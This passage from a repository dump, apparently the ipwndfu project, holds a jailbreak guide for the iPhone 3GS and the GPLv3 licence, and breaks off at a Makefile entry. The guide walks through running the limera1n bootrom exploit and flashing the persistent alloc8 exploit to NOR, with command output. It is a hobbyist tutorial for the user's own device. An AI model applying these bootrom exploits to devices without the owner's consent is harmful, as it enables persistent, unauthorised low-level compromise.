[
  {
    "path": ".gitignore",
    "content": "*.pyc\nnor-backups/nor-*\nlibusbfinder/libusb-*\nSecureROM-*\nn88ap-iBSS-4.3.5.img3\n*.ipsw\n"
  },
  {
    "path": "JAILBREAK-GUIDE.md",
    "content": "# Jailbreak guide for iPhone 3GS (new bootrom)\n\n### Steps\n\n1. Backup your data. Everything will be removed from your phone as it is a **full** restore.\n\n2. [Generate a custom 24Kpwn IPSW for iPhone 3GS (old bootrom)](#how-to-create-a-24kpwn-ipsw).\n\n3. [Restore to this custom IPSW on your iPhone 3GS (new bootrom)](#how-to-restore-to-a-custom-ipsw).\n\n4. After restore is complete, your phone will connect back to your computer in DFU Mode. The screen will be black. This is expected. 24Kpwn exploit does not work on iPhone 3GS (new bootrom).\n\n5. Use ipwndfu to put your device into pwned DFU Mode:\n\n```\n$ ./ipwndfu -p\n*** based on limera1n exploit (heap overflow) by geohot ***\nFound: CPID:8920 CPRV:15 CPFM:03 SCEP:03 BDID:00 ECID:XXXXXXXXXXXXXXXX SRTG:[iBoot-359.3.2]\nDevice is now in pwned DFU Mode.\n```\n\n6. Once in pwned DFU Mode, use the -x flag to install the alloc8 exploit. This step will replace 24Kpwn exploit with alloc8.\n\n```\n$ ./ipwndfu -x\nInstalling alloc8 exploit to NOR.\nDumping NOR, part 1/8.\nDumping NOR, part 2/8.\nDumping NOR, part 3/8.\nDumping NOR, part 4/8.\nDumping NOR, part 5/8.\nDumping NOR, part 6/8.\nDumping NOR, part 7/8.\nDumping NOR, part 8/8.\nNOR backed up to file: nor-backups/nor-XXXXXXXXXXXXXXXX-20170409-224258.dump\nSending iBSS.\nWaiting for iBSS to enter Recovery Mode.\nSending iBSS payload to flash NOR.\nSending run command.\nIf screen is not red, NOR was flashed successfully and device will reboot.\n```\n\n#### Notes:\n* Installation takes about 30 seconds. Once NOR is being flashed, the screen will be green for about 10 seconds, and then your phone will reboot.\n\n* If there are any errors before the screen turned green, it is safe to try again.\n\n* If the screen turns red, something went wrong while your phone was being flashed. Trying again probably won't help.\n\n* If there are no issues, the phone will reboot and automatically boot into iOS.\n\n\n\n\n\n### 3 second delay during boot when using a phone jailbroken with alloc8\n\nalloc8 exploit takes about 3 seconds to run.\n\nWhen your phone is off, to turn it on you will need to keep holding the Power button for at least 3 seconds, or your phone will not turn on. This might be because LLB protects against accidental presses of the Power button by shutting down the phone if the power button is not being held anymore. Without an exploit it takes less than a second before this check happens, but with alloc8 exploit it will happen after about 3 seconds. It might be possible to change this behavior by patching LLB.\n\nIf your phone enters deep sleep, there will be a 3 second delay before it wakes up. This can be fixed if you disable deep sleep with a tweak from Cydia, but your phone's battery life will decrease.\n\n\n### Where to download older IPSWs\n\nAlways download IPSWs directly from Apple, because IPSWs from other sites could be infected with malware.\n\nThere is a trusted site where you can find legitimate Apple download links for older IPSW files:\n\nhttps://ipsw.me/\n\n\n### How to create a 24Kpwn IPSW\n\n| iOS version | Tool                                                                                            |\n|-------------|-------------------------------------------------------------------------------------------------|\n| iOS 3.1     | [PwnageTool 3.1.3](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.3.dmg) |\n| iOS 3.1.2   | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) |\n| iOS 3.1.3   | [PwnageTool 3.1.5](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_3.1.5.dmg) |\n| iOS 4.0     | [PwnageTool 4.01](https://github.com/axi0mX/PwnageTool-mirror/raw/master/PwnageTool_4.01.dmg)   |\n| iOS 4.3.3   | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |\n| iOS 5.0     | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |\n| iOS 5.0.1   | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |\n| iOS 5.1     | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |\n| iOS 5.1.1   | [redsn0w 0.9.15 beta 3](http://www.iphonehacks.com/download-redsn0w)                            |\n\n#### Notes on using redsn0w 0.9.15b3\n\n```\nQ: Will this custom IPSW be used on a newer (fixed) version of the iPhone3GS?\nA: No\n```\n\nYou must answer No to create a 24Kpwn IPSW using redsn0w. If you did this correctly, the name of the custom IPSW from redsn0w will start with ```NO_BB_OLDROM_iPhone2,1```.\n\n\n### Compatibility with older iOS versions\n\nNewer phones might not support some older versions of iOS. You cannot brick your phone by attempting to restore an older version of iOS, so it might be worth it to try anyway. If iTunes restore fails with Error 28, the hardware of your phone is not compatible with that version of iOS.\n\n| Manufactured | Error 28   | Success    |\n|--------------|------------|------------|\n| Week 38 2010 | N/A        | 3.1+       |\n| Week 48 2010 | N/A        | 3.1+       |\n| Week  3 2011 | 3.x        | 4.3.3+     |\n| Week 14 2011 | 3.x        | 4.0+       |\n| Week 23 2011 | N/A        | 3.1.2+     |\n| Week 29 2011 | 3.x        | 4.0+       |\n| Week 36 2011 | 3.x        | 4.0+       |\n| Week 26 2012 | 3.x, 4.x   | 5.0+       |\n\nYou can find the week and year of manufacture by looking at the serial number of your phone. If your phone is from 2011 or 2012, help me expand this list and let me what versions worked or didn't work.\n\n\n### Decoding iPhone 3GS serial number\n\n```\nSerial number: AABCCDDDEE\nAA = Device ID\nB = 2009=9, 2010=0, 2011=1, 2012=2\nCC = Week of production\nDDD = Unique ID\nEE = Color\n```\n\n\n### How to restore to a custom IPSW\n\n1. Enter DFU Mode: https://www.theiphonewiki.com/wiki/DFU_Mode\n\n2. Run exploit to put your phone into pwned DFU Mode. You can use `./ipwndfu -p`.\n\n3. Any version of iTunes should work. In iTunes, hold Option (or SHIFT if using Windows) and click Restore. You should be prompted to choose a file. Choose your custom IPSW.\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "Makefile",
